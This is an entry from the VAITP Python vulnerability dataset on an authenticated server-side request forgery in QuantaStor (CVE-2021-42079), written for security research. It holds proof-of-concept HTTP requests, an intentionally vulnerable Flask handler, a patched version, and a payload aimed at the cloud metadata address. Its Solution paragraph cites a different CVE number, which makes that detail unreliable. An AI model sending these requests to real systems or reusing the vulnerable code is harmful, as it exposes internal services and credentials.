VAITP Dataset

← Back to the dataset

CVE-2021-42079

Authenticated administrator can configure alerts to trigger a POST-based SSRF.

  • CVSS 4.9
  • CWE-918
  • Input Validation and Sanitization
  • Remote

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

CVSS base score
4.9
Published
2023-07-10
OWASP
A10 Server-Side Request Forgery
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
QuantaStor

Solution

This Server-Side Request Forgery (SSRF) vulnerability (CVE-2021-38402) in OSNEXUS QuantaStor can be remediated by upgrading to version 6.0.0.33400 or later.

Vulnerable code sample

from flask import Flask, request, jsonify
import requests

# This is a simplified in-memory representation of the system's configuration.
# In a real application, this would be persisted in a database or config file.
alert_configuration = {}

app = Flask(__name__)


@app.route('/qstorapi/alertConfigSet', methods=['GET'])
def alert_config_set():
    # This endpoint simulates setting the alert configuration.
    # An authenticated administrator can provide webhook URLs.
    # The vulnerability is that the provided URLs are not validated,
    # allowing an attacker to point to internal or arbitrary external services.
    
    # Get parameters from the request, as shown in the PoC.
    # The key vulnerable parameters are 'slackWebhookUrl' and 'mattermostWebhookUrl'.
    slack_url = request.args.get('slackWebhookUrl')
    mattermost_url = request.args.get('mattermostWebhookUrl')
    
    # Store the provided URLs without any validation. This is the first step of the attack.
    if slack_url:
        alert_configuration['slack_webhook_url'] = slack_url
        
    if mattermost_url:
        alert_configuration['mattermost_webhook_url'] = mattermost_url
        
    # Store other dummy config values from the PoC
    alert_configuration['smtpServerIpAddress'] = request.args.get('smtpServerIpAddress')
    alert_configuration['pagerDutyServiceKey'] = request.args.get('pagerDutyServiceKey')
    
    return jsonify({"status": "Configuration set successfully."}), 200


@app.route('/qstorapi/alertRaise', methods=['GET'])
def alert_raise():
    # This endpoint simulates triggering a configured alert.
    # It constructs a payload and sends it via a POST request to the
    # webhook URLs that were set in the alert_config_set endpoint.
    # This triggers the SSRF.
    
    title = request.args.get('title', 'Test Alert')
    message = request.args.get('message', 'This is a test message.')
    
    # Create a JSON payload similar to what the real application sends.
    payload = {
        "attachments": [{
            "fallback": f"Alert: {title} - {message}",
            "color": "#aa2222",
            "title": f"[123] {title}",
            "text": message,
            "fields": [
                {"title": "Alert Severity", "value": "CRITICAL", "short": False},
                {"title": "Appliance", "value": "quantastor-sim (http://localhost)", "short": True}
            ],
            "footer": "QuantaStor Call-home Alert"
        }],
        "mrkdwn": True
    }
    
    # Retrieve the potentially malicious URLs from the configuration.
    slack_target_url = alert_configuration.get('slack_webhook_url')
    mattermost_target_url = alert_configuration.get('mattermost_webhook_url')
    
    # Make the POST request to the user-supplied URL(s).
    # This is the SSRF action. The server is making a request on its own behalf
    # to a destination specified by the attacker in the previous step.
    if slack_target_url:
        try:
            requests.post(slack_target_url, json=payload, timeout=5)
        except requests.exceptions.RequestException:
            # In a real scenario, this might be logged, but the request is still attempted.
            pass
            
    if mattermost_target_url:
        try:
            requests.post(mattermost_target_url, json=payload, timeout=5)
        except requests.exceptions.RequestException:
            # In a real scenario, this might be logged, but the request is still attempted.
            pass
            
    return jsonify({"status": "Alert triggered."}), 200

Patched code sample

import ipaddress
import socket
from urllib.parse import urlparse
from flask import Flask, request, jsonify

app = Flask(__name__)

# In-memory storage for the alert configuration to simulate the application's state.
alert_config = {}

def is_safe_url(url):
    """
    Validates a URL to prevent SSRF attacks.
    It checks if the URL's hostname resolves to a public IP address.
    It disallows URLs that resolve to private, reserved, or loopback addresses.
    """
    try:
        parsed_url = urlparse(url)
        hostname = parsed_url.hostname
        if not hostname:
            return False

        # Resolve the hostname to an IP address.
        # This will raise an exception if the hostname cannot be resolved.
        ip_addr = socket.gethostbyname(hostname)
        
        # Check if the resolved IP address is a globally reachable address.
        # The is_global property is True for public IPs. It is False for
        # private, reserved, loopback, or unspecified addresses.
        ip = ipaddress.ip_address(ip_addr)
        return ip.is_global

    except (socket.gaierror, ValueError, TypeError):
        # socket.gaierror: Hostname could not be resolved.
        # ValueError: Invalid IP address format.
        # TypeError: url is not a string or hostname is None.
        return False

@app.route('/qstorapi/alertConfigSet', methods=['POST'])
def alert_config_set():
    """
    This endpoint configures alert settings, including webhook URLs.
    VULNERABILITY FIX: It now validates the 'mattermostWebhookUrl' to ensure
    it does not point to internal or private IP addresses, preventing SSRF.
    """
    mattermost_url = request.args.get('mattermostWebhookUrl')

    if not mattermost_url:
        return jsonify({"error": "mattermostWebhookUrl is required"}), 400

    # --- VULNERABILITY FIX ---
    # The original code would have accepted any URL without validation,
    # allowing an attacker to set an internal address (e.g., http://127.0.0.1/internal-service).
    # The fix is to validate the URL before storing it.
    if not is_safe_url(mattermost_url):
        return jsonify({
            "error": f"Invalid or unsafe URL provided for mattermostWebhookUrl: {mattermost_url}. "
                     f"The URL must resolve to a public IP address."
        }), 400
    # --- END OF FIX ---

    # If the URL is safe, store it in the configuration.
    alert_config['mattermostWebhookUrl'] = mattermost_url

    # Store other parameters as well (simplified for demonstration)
    alert_config['senderEmailAddress'] = request.args.get('senderEmailAddress', '')
    
    return jsonify({
        "message": "Alert configuration updated successfully.",
        "configured_mattermost_url": mattermost_url
    }), 200

# To run this example:
# 1. Install Flask: pip install Flask
# 2. Run the script: python your_script_name.py
# 3. Test with curl:
#
#    Attempt to set an unsafe (internal) URL - This will be BLOCKED by the fix:
#    curl -X POST "http://127.0.0.1:5000/qstorapi/alertConfigSet?mattermostWebhookUrl=http://127.0.0.1/internal"
#    curl -X POST "http://127.0.0.1:5000/qstorapi/alertConfigSet?mattermostWebhookUrl=http://localhost/secret"
#
#    Set a safe (external) URL - This will be ALLOWED:
#    curl -X POST "http://127.0.0.1:5000/qstorapi/alertConfigSet?mattermostWebhookUrl=http://example.com/webhook"
#
if __name__ == '__main__':
    app.run(debug=True)

Payload

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://localhost&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 0


GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1
Host: <HOSTNAME>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Connection: close
authorization: Basic <BASIC_AUTH_HASH>
Content-Type: application/json
Content-Length: 1

Cite this entry

@misc{vaitp:cve202142079,
  title        = {{Authenticated administrator can configure alerts to trigger a POST-based SSRF.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2023},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2021-42079},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2021-42079/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::